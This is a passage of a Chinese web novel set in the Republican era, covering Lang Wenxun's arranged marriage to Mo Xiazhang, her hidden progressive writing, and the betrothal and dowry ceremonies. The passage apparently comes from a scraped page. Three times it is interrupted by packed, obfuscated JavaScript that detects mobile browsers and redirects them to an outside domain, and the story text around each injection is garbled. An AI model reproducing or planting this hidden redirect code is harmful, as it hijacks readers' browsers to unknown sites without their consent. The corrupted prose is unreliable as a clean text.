莫家人今天来只是走个过场,并不能留下吃晚饭。等到半下午莫家人回了旅馆,在自个儿房间里,嫂子苏瑞芬和丈夫怀章说起了今天的感想。 “你说,霞章到底有没有相中朗小姐?” 怀章笑了一声,“他要是没看中,早跑了,怎么会愿意跟着我们登门?” 瑞芬听他语气不大在意,没好气道:“是是是,你自然是最了解你兄弟的。只是,我瞧着霞章像是个不会谈恋爱的。” 怀章脱去西装外套,又把领带松了,总算能喘口气,“那群老先生把他教偏了,二十出头,还情窦未开呢。” 瑞芬走过来,随手拿起他的外套挂到一边去,“男人啊,过于油滑不好,过于老实也不好。我打量着霞章和朗小姐,虽然是郎才女貌,可孩子似的,真叫人担心他们以后的婚姻生活。” 莫怀章真乐意听到妻子操心家里事,这份看重直叫他愉悦,“这还没发生的事,夫人杞人忧天了不是?就算再不懂,结了婚就好了。” 瑞芬不太赞同,“结了婚,新婚燕尔,自然哪里都好。可若是不懂得夫妻相处之道,怕是也不得长久安宁。” 怀章听她这么讲,竟顺着她的意思认真分析起来,“朗小姐家教好,仔细瞧着,脾气秉性也不错。霞章除了志向叛逆了些,本不是爱拈花惹草的性子,他既然愿意,婚后肯定会好好对人家。如此良婿,朗小姐怎么会闹呢。” 瑞芬却哼了一声,佯怒道:“去,我可没有指名道姓,背后编排妯娌的不是。怎么话到了你的嘴里,倒成了我在挑朗小姐的刺了?” “哎哟,”怀章连忙讨饶,伸出巴掌,“是我说错话了,罚我掌嘴。” 瑞芬急忙过来拉他,不让他拍嘴。夫妻俩顺势凑在一处,挨着坐下。只听瑞芬继续说:“霞章在我看来是很可怜的,不怪他如今还和父母置气。也是你们家迷信,好端端的男孩,因为算命先生一句话当成女孩养了十四年。本该是知事的年纪,却落得了个懵懂,后来也不安排个人教。说句不知上下的话,爸妈精明了一辈子,却在这件事上犯糊涂。都是知道上帝和无神论的人了,偏偏迷信成那样。” 怀章听她这么说,知道她是好心,也不生气,“嫂嫂既然心疼他,这小两口以后还烦心嫂嫂多费心照顾、提点。” 瑞芬微微抬头,神色和目光中满是自尊自傲,“那是自然。都说长嫂如母,我做了你们莫家的大妇,难道连这等心胸都撑不起来?岂不是丢了我们姓苏的教养。” 听丈夫失笑,她丢了个眼刀过去,继续道:“实话跟你说明白,我对府上的三少爷结婚,是没有半点意见的。我知道妈给朗家准备的聘礼比我和老二家的要多几抬,我还知道爸爸要把临安的洋楼陪给他们小两口生活。哼,所谓钱财,不过外物。有一两是一两,谁用的舒心,谁去用好了。我只盼下月三弟妹进了府,能和大家好好相处,不要整日生事,做那搅家精。” 怀章喟叹,轻轻拍着她的胳膊,把她拉过来搂在怀里安抚道:“朗小姐出身与你相似,自然会比其他两个弟妹与你更投契。” 瑞芬不知怎么红了眼睛,靠近了丈夫的怀里。 到了晚饭时分,莫怀章独自下楼,去餐厅和弟弟吃饭。 老远看见兄长的身影,霞章立马起身相迎。等到人靠近了,他才问:“怎么不见大嫂?” 怀章回答:“她不太舒服。我点些菜,让侍应生送去房间给她吃。” 霞章露出关心的神色,“是不是又生病了?” “没什么大事。”怀章拿起桌上的热毛巾擦手,想着这是一个不错的例子,便就地取材,“霞章,你平日除了看些正经文学,也该多去看看画报之类的,哪怕是为了排遣。你看多了就能知道,这女人呐,可以说是情绪动物。一被情绪左右,饭也不吃,觉也不睡,这种例子多得是。” 霞章误会大哥大嫂生了口角,帮忙说话:“大嫂是性情中人。” 怀章“啧”了一声,有种对牛弹琴的无力感,“我又不是在说你大嫂。” 霞章分辨着他的神色,见确实如此,脑筋一转,已是明白了其中真意。 怀章往前俯身,凑近了说:“哥哥这是在教你怎么做丈夫,你明不明白?” 霞章点头,嘴角含笑,顺手端起面前的茶盏,“多谢大哥。我会听话,也会去看书学习的。” 此话一出,直叫莫怀章头疼。 合着说了一大堆,偏偏就听进去了“看书”二字。 莫家三个儿子,自己圆滑,老二世故,怎么老三竟是个书呆子! 别说莫霞章“照本宣科”,朗文薰这边竟然也是一样的打算。 她对莫霞章发表的关于婚姻的看法,本就来缘于她看遍各类书籍后的总结。她读了中外很多世情小说,里面哪一本内容没有讲过男女之爱?文薰从书里见了完美的爱情,看了一些错误例子,虽然自己没有感受到那种意识,可内心里却将这些文学作品作为参考蓝本。 这两个年轻人,一顾地埋头读书,如今要带着满腔热忱成为夫妻了,也不知以后如何。 莫家大哥登门之后,第二日便带着朗家送来的,小姐也点了头的消息回了家。按如今的婚嫁流程,下一次莫家再来人,就是求八字,送聘礼了。 莫霞章那天对自己说过的话,文薰并没有告诉任何人。一来是无法改变什么,二来省得父母忧心。她在家中待嫁,日常跟着母亲学习,为日后为人妇做准备。 恰逢母亲说起嫁妆的事,文薰顺口提及:“妈,我之前听巧珍说,你要让我带着她嫁去莫家。我知道妈是好心,可现在是什么年代了,夫妻结婚,哪有女方还带陪嫁侍女的?巧珍十几岁的姑娘,跟着我去了别人家,像什么样子。” 朗太太觉得这是大户人家应有的排场,“带个陪嫁丫头怎么了?我告诉你,我还准备让王妈与你同去呢。你不要觉得这有什么,聘媳嫁女,放在哪个年代都不是可以糊弄的事。光说你的嫁妆,妈妈十多年前就开始一点点备着了,谁家都是这个道理。也是现在社会新了,不然再早个二、三十年,我还得给你备上绣娘、厨娘、账房、跑腿,以及梳头娘子呢。” 一番话,说得女儿哑口无言。朗太太抬头看她,又换了更平和的口吻劝道:“我那天听莫家大少奶奶说,莫家尽管只有三个儿子,人口简单,可家里内宅还住着莫老爷的一房姨太太,和带着两个孩子回来生活的姑妈一家。不说以后,临安大学9月下旬才开学,你8月中旬就进府了,满打满算得和三公子在宅子里住一个月。在大家庭生活不是容易的事,你身边没个亲近人帮衬,我如何能放心? 说完瞟了一下女儿的神情,软下语气,“你不在家的这几年,我和你爸爸收留巧珍,那是悉心教养,把她当半个小姐对待的。我们或许别有心思,可实际上不过是想让她做一阵你的帮手。妈妈知道你心善,也不是批评你的好心,只想着,等你习惯了在莫家的生活,届时你放巧珍自由,我都是不管的。” 母亲的话,一度让文薰无法反驳。 长者赐,不敢辞。何况是一片拳拳爱护之心? 事实上,整座朗府的下人老早就知道,小姐的奶娘王妈和她的干女儿巧珍未来是要跟着小姐去莫家的。 巧珍就像她嘴上说的那样,觉得这是自己分内之事,没有半点意见。偏偏有些好事者跑来恶意打趣她: “巧珍,我听说莫家老爷还娶了姨太太,那莫家姑爷会不会娶姨太太?你跟着小姐嫁过去,是不是过两年,就要做姨太太了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181127|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>巧珍一贯是个坚强的女孩子,偏偏被这种没头脑的谣言逼着没处解释,只能偷偷落泪。 好巧不巧,她躲在树底下哭的时候,就被思齐撞见了。 ——也未必是缘分,因为思齐刚好就是来找她的。 见到巧珍哭得小脸皱成一团,思齐立马急了,“你怎么哭了?” 巧珍在见到人的第一面就止了泪,拿手帕擦脸,整理仪容,“没什么,被风沙迷了眼睛。” 思齐不信,“笑话。咱们广陵又不在北方,哪来的风沙?”他正色询问,仿佛要立刻给巧珍做主,“是不是有人欺负你了?” 巧珍不想麻烦他,转移话题道:“表少爷是无聊才来找我消遣吗?” “我是来向你道歉的。”说着,思齐俯身便拜,“刘小姐在上,请受小生一拜。” 巧珍惊得连忙让开,“我算是什么人物,值得表少爷鞠躬?可见你还是来消遣我的。” 她说完转身快步离开,引得思齐去追,“欸,你别走。巧珍,我真是诚心,你别不信。” 巧珍吸了口气,停下脚步认真地告诉他,“表少爷,我忙着呢,你去别的地方玩吧。” 思齐听得她这么一说,果然不再纠缠。他愣愣地站在原地,不知道在想什么。 直到天黑,巧珍准备回自己房间了,在路上,她又见到了思齐。 思齐堵在半路上,好整以暇,“你现在可不忙了?” 巧珍无奈地叹了口气,算是见识到了他的坚持,“不忙了,你拜吧。” 思齐把双手插在裤腰带里,走动间,大男孩的模样还有几分可爱,“我白天已经拜过了。” 巧珍听他嘟囔着这么一说,转身又要走。 她面前却突然吊下来一条闪着光的细银手链。 “呀!”巧珍望着,露出喜色,伸手去接。 思齐松了手,把胳膊从她头顶放下,又从她背后绕到她面前,“好看吗?” 这东西不贵重,只剩一个精致,是他精挑细选,笃定巧珍能够接受,且不会拒绝的礼物。 巧珍捧着链子,还有些不敢相信,“送给我的?” 思齐压下嘴角,想隐去那份在意,“嗯,礼物。喜欢吗?” 巧珍看了半天,咬了咬嘴唇,又狠心退回来,“不行,我不能要。” “你都拿在手里了,还送回来……”思齐变了脸色,已是急了,“巧珍,你是不是讨厌我?” 巧珍没有直接回答,只是重申,“表少爷,你是少爷,我是丫头。” 思齐道:“可丫头是你的工作,不代表着你的社会地位。” 巧珍失了言语,这已经是她最近第二次听到这样的话了。 思齐继续说:“巧珍,我记得,你刚进朗府时才是个小不点儿,瘦瘦小小的,我担心你吃不饱饭,端着糕点塞给你吃,结果害你吃得闹肚子,看医生。我后来一直记得那个西洋医生的针管,扎进你胳膊时的样子……” 思齐对巧珍是喜欢的,也是愧疚的。 “我做事向来随心,有时不考虑后果,或许后来也像这次一样,好心办坏事,伤害了你。我们认识这么多年,见的次数也不少,细观我往日的行为,我仔细思考后,发现我对你确实不太尊重。” 他剖析了自己的行为,又打算讲明自己的心意,“我也不是看不起你,我就是……觉得逗你玩很有意思,我发誓以前绝不是在故意欺负你。前几天姐姐在火车上和我说,喜欢一个人应该尊重,我听完觉得这句话很有道理。我已经决定了,我会慢慢学着尊重你,照顾你,以后大小事以你的感受为先。” 巧珍本来认真听着,后来只恨自己没长耳朵。 “表少爷,你在说什么呀?” 眼看着巧珍跑走,思齐也才注意到自己刚才的话有多么不妥当,跟着闹红了脸。 13. 朗家的家规 朗文薰喜欢广陵的夏天。这里不仅有蝉鸣,水流,还有父母的教导,弟妹的陪伴。 这间古老的大院子虽然是上个世纪传下来的,却因为家人之间的互相关爱而充满了温馨,半点不见压抑和阴森。 这或许是她此生最后能够享用的婚前时光。 到了星期四,文薰的弟弟文鼎从津市回来,同行的还有一位叫徐东蔚的同学。文鼎说,东蔚是云贵地区的山里娃子,没见过现在的新文明婚礼,他特意把人家带回来见世面。 这话是他转述的由同学开口的玩笑,可让朗老爷一听,暗地里又是一番训导: “你要带同学回来,也不提前打声招呼。人家自谦,你莫非还当真了?传出去,说不定别人还以为你家教不好,仗着家里几个臭钱欺负人!” 郎太太更是世俗里打了一圈的人精。别说人家到底是不是山里人,只将这句话当成自谦,招待徐东蔚的生活用具,一概都比着思齐的来,比文鼎用的还要好两分。 文鼎比双胞胎大两岁,比文薰小两岁,如今正在津市读大学。他们几个小的从小一起闹到大,现在又多了个同学,朗府里一时热闹得不行。 文薰也想去,可她最近事宜繁多。为了未来能做好那份老师的工作,她已将熟知国内大学英语、法语所授课程一事提上了日程。 再有一桩,她要出版,未来要在文坛上闯荡,孤身一人定然是不行的,父亲便日常带她出门访友,认识住在广陵的一干先生学士。 这天下午,忙里偷闲的文薰去父亲的书房里给他请安。朗老爷的书房装置古朴,除了几排大书架外,案几边摆满了兰花,想来是老爷的心爱之物。书房的窗子边还吊了一个鸟笼,文薰给父亲磨完墨后,便仰着脑袋逗笼子里的鸟玩。 朗老爷写了一句“明月出天山”。自我欣赏后,满意地点了点头。他搁笔,换纸,期间抬头问:“昭时啊,你最近在看什么书?” 文薰眨眨眼,极自然道:“最近忙得很,哪有时间看书呀,只粗略地读了一遍《陶庵梦忆》。再有,前些天在火车上还看了一本敬贤给我带的新式小说,叫《绣娘》的。” 郎老爷用镇纸将纸张抚平,听到这句话“唔”了一声:“那本书我也看过。” 文薰觉得稀奇,回头笑道:“爸爸,您也看新式小说吗?” “不看点新东西,我就真成古董啦。” “那爸爸觉得这本书的故事怎么样?” 郎老爷望着她道:“你是个学文学的,应该知道[文章合为时而著]这句话。我的看法嘛,想来作者心里应该有什么怨气罢。” 文薰道:“我倒是觉得,作者是在传达一种信念。” 郎老爷瞄了她一眼:“什么信念?” 文薰急智,知道自己显些说漏嘴,转口道:“怀抱着对新时代美好生活的向往,就要抛掉就旧规矩。” 郎站起身,搁笔,眼神玩味,“还有呢?” 文薰不愿意说下去,转口道:“倒没有了。爸爸看出什么来了?” 郎老爷也不言明,只把挽起来的袖子一点点放下道:“我也看不出来好坏,只望你别野了心思,做出忤逆的事来。” 文薰熟练地笑道:“爸爸,我知道您和母亲十分疼爱我,又给了我那么多自由,我怎么会忤逆你们?” “你藏起来的那些心思,我们可不知道。”朗老爷说着似是而非的话,沉吟一声,再度开口时,换了认真地神色:“昭时,我和你母亲对你没什么太大的要求,我们也知道按照现在的社会,让你在家里相夫教子有些难为你……” 见文薰认真倾耳相听,继续道:“我这个做父亲的,只希望你能平平安安的过完一生,所以,有些事情你是万万不能去做的,知道吗?现在时局太乱了,有那么多人出头,不缺我们一个。” 又怕这话她不爱听,婉转道:“你真想做点什么,等时局稳定了,自有我们忙碌的时间。好饭不怕晚,细水长流,这是朗家先辈用性命验证出来的道理。咱们不使那些从龙术。在乱世做人,为求长久,一定要学会韬光养晦。我这一生拥有过地位,也享受了财富,后半生唯一的愿望,只愿能得「安宁」二字。” 朗文薰不知道心里如何想,面上答着:“女儿知道,女儿不会让父亲失望的。” 这类的话她不是第一次听,她已经习惯用乖巧的模样去应对父母了。 其实朗老爷对自己女儿十分了解,他或许看出了文薰的叛逆,可从未抓到苗头,只能做些口头提点。 莫家不允许莫霞章投身救国,朗家亦是如此。除了开明的舅母,文薰的父母、舅父,都在这乱世中抱有避世的主张。他们自己撂开手不管,还如此教育儿女。在他们的一套规矩里,朗家和黄家的孩子不被允许参加政治。 可朗文薰觉得家长们很矛盾,如果想把他们的思想封闭起来,又何必送他们去读洋书? 这一点在朗文薰身上体现得特别明显。 她读高中时,沪市是有专门教厨艺、德行,培养贤妻良母的日式学校的。可父亲希望她开化,便把她送去了更开明的中学。文薰在那所学校学到了进步,学到了呐喊,只是她又敏感地知道家长们的禁区。她去参加游行,她用笔名在报纸上为大家发声,这类事除了思齐不小心撞破,其他人是一概不知的。 连文薰的老师孟海白都是保守派,平日只谈文学,少谈政治。 所以,文薰是为了应对他们,才特意将《伯莱恩小姐》这部言情小说作为自己的第一本译作。 她需要瞒过父母,瞒过老师。父母的爱是关心,同样是枷锁。这枷锁如此温暖,文薰不忍父母伤心,只能做好表面功夫。等到她熟悉国内的出版,她自然会换了笔名,去翻译自己真正想翻译,这个国家正好需要的文学! 朗老爷不知道文薰心中的百转千回,温声哄着她:“我记得你回家那天还说过,孟先生在帮你忙译本出版的事。等到时候刊印了,我一定要把那本小说买回来看看,听听我女儿翻译的外国故事。” 文薰笑道:“爸爸要是想听,我现在说不也一样嘛。” 朗老爷竖起一根手指,“那不成,那是你到别人家去之后,我自留的消遣。” 文薰听得心里难受,“爸爸,你说的哪里话?你要是想我了,电报、电话、信件,无论什么途径,给个话我不就回来了?” 朗老爷摇头,指着旁边窗子上方的鸟笼,“你瞧,要是现在我把这笼子开了,这雀儿一旦飞出来,我能容易喊回来吗?” 文薰回头看了看小鸟,忽然感觉它或许也不是真的快乐。 不过子非鱼,安知鱼之乐? 朗老爷后退两步,让开位置,“来,你来写两个字。” 文薰也不推脱,上前去挑了笔,屏息凝神,沾墨写下一句“天高任鸟飞”。 朗老爷一见,便笑:“倒是应景。” 朗文薰没想到随手写出的话竟暴露了自己此时的心境,忙转移话题问:“爸爸,你还没说我写得怎么样呢。” 朗老爷也依着她,“什么怎么样?整个广陵,谁的颜体能塞得过我们家的女儿?” 只一句话便把文薰夸得满心欢愉。 从父亲的书房出去,穿了两个院子,文薰瞧见巧珍伙同几个丫头和仆人举着竹竿在园子里的枣树下粘知了。她们笑闹着,声音不比头顶的蝉鸣声小。那树上挂着青绿的果实,还未成熟,与叶子一同汲取着阳光,遮了荫处,投在地上波光粼粼的,好似水纹。 文薰用叠起的手帕扇着风,也没打搅她们。她倚着栏杆看得起兴,又不免在心里引起喟叹:这么宁静安稳的生活,要是大家都能享受到,那才好呢。 突然觉得口渴,文薰又离了这边,就近去找些水喝。她穿过园子,想去假山上的亭子看看,攀高时,碰巧听到有人说话的声音。 她虽无意听,可那些话还是伴着风进了她的耳朵,有些“运动”、“文章”、“先生”、“政府”之类的词。 文薰听出这是弟弟文鼎的声音,清楚他竟然也走上了进步之路,心里既高兴又自豪。她从不赞同父亲的话。现在的国家,读书人再不站出来启蒙思想,可能中华文化都要被一群激进派弃如敝履了。再者,何来的从龙术?她想做的一切,不为名,不为利,只求俯仰无愧于天地,只求实现自我价值,只求不要辜负了那么些人的奉养! 她回头望四周看了看,悄悄退下来,意欲等他。 没一刻钟的时间,朗文鼎和同学出来。他站在高处,一眼瞧见下边纳凉的姐姐。简短几句话与同学分别,小跑着过来。 “姐姐。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181128|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他靠近了,见文薰额头上布满了细汗,忙顺手打开手里的折扇帮她扇风,“天气这么热,姐姐怎么在外边站着?” 文薰擦了擦汗,意有所指,“天气这么热,你怎么带着徐公子在亭子里说话?也不怕隔墙有耳。” 文鼎讪笑一声,样子却是极大方,“听到了又怕什么?最坏,也不过是像莫公子那样,家里给安排一个媳妇儿约束。” 文薰听他话里有话,语气带了两分长姐的威严,“你知道什么,直说就是了,含沙射影非君子所为。” 文鼎做出犹豫样,“是有一桩旧事,不知姐姐是否听说。前年的时候北方闹运动,莫三公子参与了,还被关了四个月。” 文薰的表情顿时放松了,“他同我说了。” 这回轮到文鼎意外了,“说了?” 文薰压下那份满意,“嗯,来咱家那天说的。” “那他确实是个如传闻中坦荡的人……”文鼎呢喃一声,末了,终于不作怪,而是认真地说: “我不是想干预姐姐的婚事,只是这两天难免思考。现在的时代半新不旧,多的是剪了头上的辫子,留了心里辫子的封建残余。父母愿意和莫家结亲,除了履行那桩婚约,也是因为他们和咱们家是一样善于约束儿女。可是双亲哪里知道莫家也管不住莫三公子的心呢?咱们当代文人,就得有气性,有志向。我钦佩莫公子,我也觉得这样的男子适合姐姐。” 朗文鼎在津门读书,北方的事他知道得多一些。哪怕之前没听说过,为了姐姐的幸福,也不免多去打探。 “这几年国内有一些文人很推崇莫公子,说他有[保国派的气节];又有一些人批评他,说他整日里看谁都不顺眼,眼睛里没个好人,正是[发了爱国癫]。他确实很有才华,古往今来,琴棋书画他是无一不通的。我听说北边的前一任总统包天与很喜欢他……” “还有这回事?” “那是前几年的事,我也是听同学说的。莫公子那会子还在跟着邱山先生读书,被包总统邀请到家里小坐,莫公子自是不愿。可寻常人不去就不去了,偏他莫某人非得要在第二天往报上登首酸诗嘲讽他。好在包总统也挺有气量,说他年纪小,是跟着老先生们学了臭脾气,没为难他。” 文鼎说罢一顿,转头看着人说:“姐姐读了那么多的书,不应该被囿于后院。莫公子虽然是一群老夫子教出来的,可向往开明,进步,是一个极有志向的人。姐姐和他生活后,不仅会多一个挚友,也会多一个同行之人。” 朗文薰不答这话,只轻声吩咐:“莫公子的事,别叫父母大人知道。” “这是自然。”文鼎引着家姐穿过假山往前走,再返过去回答刚才的问题,“东蔚他没见过苏式园林,所以我带他登高看看。姐姐从哪儿来?” 行走间更热了,文薰把他的折扇抢过来,自己用力扇,“刚从父亲那里过来,本来想着就近寻杯水喝。” 文鼎亲昵地依着她,“姐姐不往前走,是在给我当耳报神?” 文薰往旁边移了一步,暗示他要当心,“哼,我是怕你触怒了父母,被赶出去。” “哈哈……”文鼎爽朗地笑了一声,并不在意。 文薰又问:“徐公子在家里住了也有些天了,可习惯?” 文鼎道:“习惯又不习惯。他第一次来江淮地区,看什么都新鲜。就说咱们吃饭的碗吧,在他看来都别致得很,说小小的一个,能装几口?我便告诉他,我们这边吃东西在精,不在多。他又说我们这边人吃饭都是拿筷子夹着米粒,一口吃一点,秀气得很。说我在北边并不这样,怎么回了家假斯文?由此非要叫我[朗小姐]。” 他说得好玩,文薰也听得有趣。“朗二小姐”似乎是突然起兴,贴上来问:“姐姐,过两天,咱们看戏去?” 文薰嫌热,“啧”了一声用扇骨把他拍开,再往旁挪出距离,“有什么好戏?” 文鼎老实回答:“听说,有位叫小凤仙的名伶来了咱们广陵。姐姐要是想看,我就去弄张票。” 文薰斜睨了他一眼,“好没意思的话,倒像是我想要看。” 文鼎嬉笑道:“哪能呢,是我想讨好姐姐。姐姐刚从国外回来,难道不想看咱们的戏?” 知姐莫若弟。他倒是说对了,文薰确实有些想。 14. 聘礼与嫁妆 小凤仙唱的是京戏。朗家的老爷太太一个爱听越戏,一个爱看扬剧。既不喜欢,也不愿意看新鲜,在听到文鼎请时便没去跟小孩凑热闹,而是让管家带着家里四个孩子,捎上巧珍和客人徐东蔚一起去了。 那晚的戏院特别拥挤,文薰也是去了之后才发现原来广陵有这么些京戏票友。也不知道文鼎是在哪里交的朋友,文薰还跟着他见了一位戴着眼镜,着长衫,名叫“钱笑南”的先生。 小凤仙在广陵唱了三场,朗家的孩子们便去了三天。热闹过后,莫家请来的媒婆上门,开始正式走礼。 前面有舅父舅母接待,后头又有父亲母亲操心,文薰眼见着家里各处挂上红绸,联想到报纸上连续登了一周莫家与朗家结姻亲的新婚讯息,心里对于自己将要结婚一事又有了更深刻的感受。 她好像真的快要离开这个家了。 没两天,莫家的聘礼在一阵敲锣打鼓声中进了城,整整齐齐的六十八抬聘礼,好大的排场。街边人群攒动,没过半天,广陵城中的老百姓们便都知道朗府将要嫁女一事。 今天代表莫家来送聘礼的是表兄曹玄致。他是大少奶奶瑞芬那日提及过的,住在家中姑母的大儿子。曹表兄的父亲叫曹问道,以前是北边政府的官员,前些年心脏病发作去世了,留下孤儿寡母度日。曹家人也是没了主心骨,才由太太做主领着家小回了南边,投靠娘家兄弟。 如今经姻亲关系一联,朗家和曹家顺理成章成了亲戚。 曹玄致入门后,文鼎、思齐用心招待,该亲近的时候绝不疏远,该礼貌的时候绝不冒犯,只把他当成素未谋面的亲哥哥。 这同时也是在为文薰挣面子,方便她以后做人。 后边院子里,莫家送来的聘礼被一一打开,显些摆不下。莫家上回登门,已然送来了二十二抬的聘礼,如今这回再来,敬贤没见过这齐整场面,带着巧珍穿来穿去,时不时地发出惊呼。 莫家遵礼,聘礼中有聘饼、海味、三牲、帖盒、胭脂米等,还有一干金银财宝,诸如成对的竹节式绿玻璃手镯,成对的龙凤金镯,成对的镂雕鹦鹉玉佩,等等皆不是新造,而是前头传下来的宝贝。 这些东西在敬贤小姐眼中是死物,笨物,自然无法令她失态。实在是莫家送来的箱子里还有好些精妙的瓷器、陶器。比如有一套七彩各色的菊瓣盘子,礼单上写明是雍正时期传下来的。还有一套天青色的汝窑,是宋徽宗时的匠人手艺。 其他还有诗集、画卷,都是如今市场上难见到的,连朗太太都看得高兴。在旁边作陪的舅母说:“这些书籍、古董,怕是送给父母双亲的。” 莫家真是精心安排。 聘礼中的糕点不能久放。巧珍按太太吩咐,拿了一些分给四邻,一些取用做晚上饭桌上的点心。今夜的餐桌上还有一盘口感正宗的盐水鸭子,也是新鲜的。 大家吃得开心,文薰也笑而不语,只有思齐似有所悟。 这些天除了走礼,还有两件好事。一是孟老师传来消息,说已找熟人专门看过文薰的译本,那位先生又帮忙联络好了出版社,近期便可安排排期《伯莱恩小姐》的译本印刷。文薰特意为此事回了一趟沪市,去签出版许可书。 她那一天在舅舅家歇脚,顺便看了下家里的收信,果然见到报社的回复,这便是第二件好事了。 距离文薰以“立坚道人”为署名寄信到报社已经半月有余,现下有了着落总归是令人开心的。 以前和文薰沟通联络的这位编辑名叫孙和乐。他这几年从原来的大社出走,创办了一家名曰《江东杂谈》的小报。文薰寄给他的信正是经历了由前同事转交的坎坷,才回复得慢。 孙社长在信上说:“如果道人还看得起敝社,双方可以见一面,再谈合作。” 文薰沉吟,觉得“立坚道人”这个笔名她短时间内不会放弃,便极速回信一封,同意了的会面请求。 文薰再回广陵后没两天,裁好的嫁衣便到了。这嫁衣是莫家的裁缝铺做的,早前便送来了图纸供文薰挑选。新人的嫁衣男女成套,又分中、西式两套。成品用料上佳,制作精巧,款式新颖,让她十分喜欢。 又一个好天气,轮到朗家派人去莫家送嫁妆。 送嫁妆的队伍由舅舅领头,文鼎、思齐随行。王妈和巧珍这时也要跟着,提前进入莫家。 文薰的嫁妆一共九十九抬,部分珍宝装箱时都被妥善保护。光是送嫁妆的队伍就安排了两百来个青壮,做活的同时,也确保了嫁妆的安全。 和莫家送聘礼来的做法一样,朗家也包了一趟火车。待得进入金陵城,才刚从火车站出来,朗家舅舅便做主让大家把嫁妆箱子打开。这步骤叫“晒妆”,正是特意“显摆”给别人看,好给朗文薰撑脸面。 依照旧俗,领头的第一抬嫁妆装了一箱金元宝,接着是一箱银锭子。如今到了民国,朗家还在第三抬安排了一箱银元。俗物往后是一些贵重的用具,如岫玉如意、白玉佛等。接着是文薰用的首饰,什么金丝镯子、金锁坠儿、金项圈、各式的耳环,翡翠、珍珠、水晶、玛瑙制的头面,古今样式皆有。 之后是卧房家具,架子床、梳妆台、浴盆、小孩用的摇篮……甚至便器都无遗漏。 大户人家的小姐出嫁,嫁妆里的内容几乎包含了“生”、“死”。 往后看是文房四宝,古玩摆件。此处领头的是一件祭红瓷,这件瓶子不是轻易能烧出来的,便是放在以前的宫里,亦能称作珍宝。在嫁妆中安排这件红瓷是时下的习俗,取祝愿新人“红红火火、平平安安”之意。珍宝队伍的最后还有十盆兰花,都是朗老爷亲手培育的珍品。 往后的绫罗绸缎,毛皮衣裳,丝绸被褥……各种颜色满满当当,看得人眼花缭乱。朗家送来的那么多财宝,部分可以说稀世罕见,在道路两边围观的人将路堵得水泄不通,只为了一饱眼福。 莫家当然也派人来接,系着红绸子的仆人一路上都在发喜糖,从这条路发到那条路,手里的糖没见少过。思齐见着周边拥堵的人流,忍不住道: “这两天听姨父姨母说,大户人家里结婚,发出去的喜糖可以叫寻常人家吃个十年都有结余。以前我还不信,现在可好,却是我自己没见识了。” 这是自家姐姐结婚,他自然只觉得热闹,没想到铺张。真要计算,还得是两家重视儿女间的这桩婚事,才能有这等场面。 在旁的文鼎接过他的话,“中国人结婚,自古以来讲究门当户对,不是没有道理。这片土地上用千百年来的时间酿就了独树一帜的家族关系,仿佛结婚这桩事,从来不是简单的两个人的事。” 思齐闻言道:“怎么就不行了?难道没有钱,就结不了婚了?” 文鼎听他当真,立马笑道:“你着相了不是?富人有富人的生活,穷者自然也有穷者的智慧。这个世界从来都是两三套规则并行的。儒家讲究中庸,道家讲究顺应自然……哪怕是非黑即白的太极图,也是白中有黑,黑中有白呢。” 听得兄长提点,思齐有些不好意思。他瞟了一眼前面的父亲,见他没有注意,坚持道:“反正,如果我喜欢谁,我是绝对不会去在意她的家庭和她的身份的。” 文鼎没有发表意见,只是说出一个事实,“你若能有养活自己的能力,自然跟谁结婚都行。” 莫家在金陵城中有两处宅邸,一座是以前明清时期传下来的园子,一座是十年前新建的洋楼。如今天热,莫家人住在园子里,方便避暑,文薰的嫁妆也顺势送去了园子。舅舅领着兄弟二人在莫家人的指引下来到莫园后,大少爷怀章携妻子瑞芬亲自来接。 莫园门口张灯结彩,聚满了讨喜的人。为了给主人家面子,司仪在迎嫁妆念礼单时特意放大音量,喉咙都险些喊冒烟。 园子里,莫霞章自有一处单独住的院子。嫁妆进门后,王妈和巧珍随行的作用就体现了。她们根据单子,有条不紊地将东西摆进屋子,依旧是延续了文薰在家中的用物习惯。 此外,还有一些是送给莫家家里人的东西,也需要她们挑出来,由舅老爷安排。 这些天,莫霞章的院子经历了两次变化。一次是母亲带着喜婆进来装点,将这里布置成了婚房,又撤下许多东西。第二次便是现在,各个屋子里摆满了文薰用的物件,叫他熟悉又陌生。 好像他从未在这里住过。 他正在门口感慨,喜婆过来把他拉开,连声唠叨:“我的好少爷,你怎么在这里站着,是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181129|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是心里已经喜欢得不得了啦?别急,最近几天,你可得乖乖听话。等过两天好日子到了,移了床,这喜房直到新娘子入门,就不让随便进了。你也光看看,不要进去,啊。” 不知道是被她话里的内容,还是冲着她哄孩子似的语气,莫霞章笑了。他摇了摇头,看着周围的人忙忙碌碌,都有自己的事做,唯独自己落得像个旁观者。 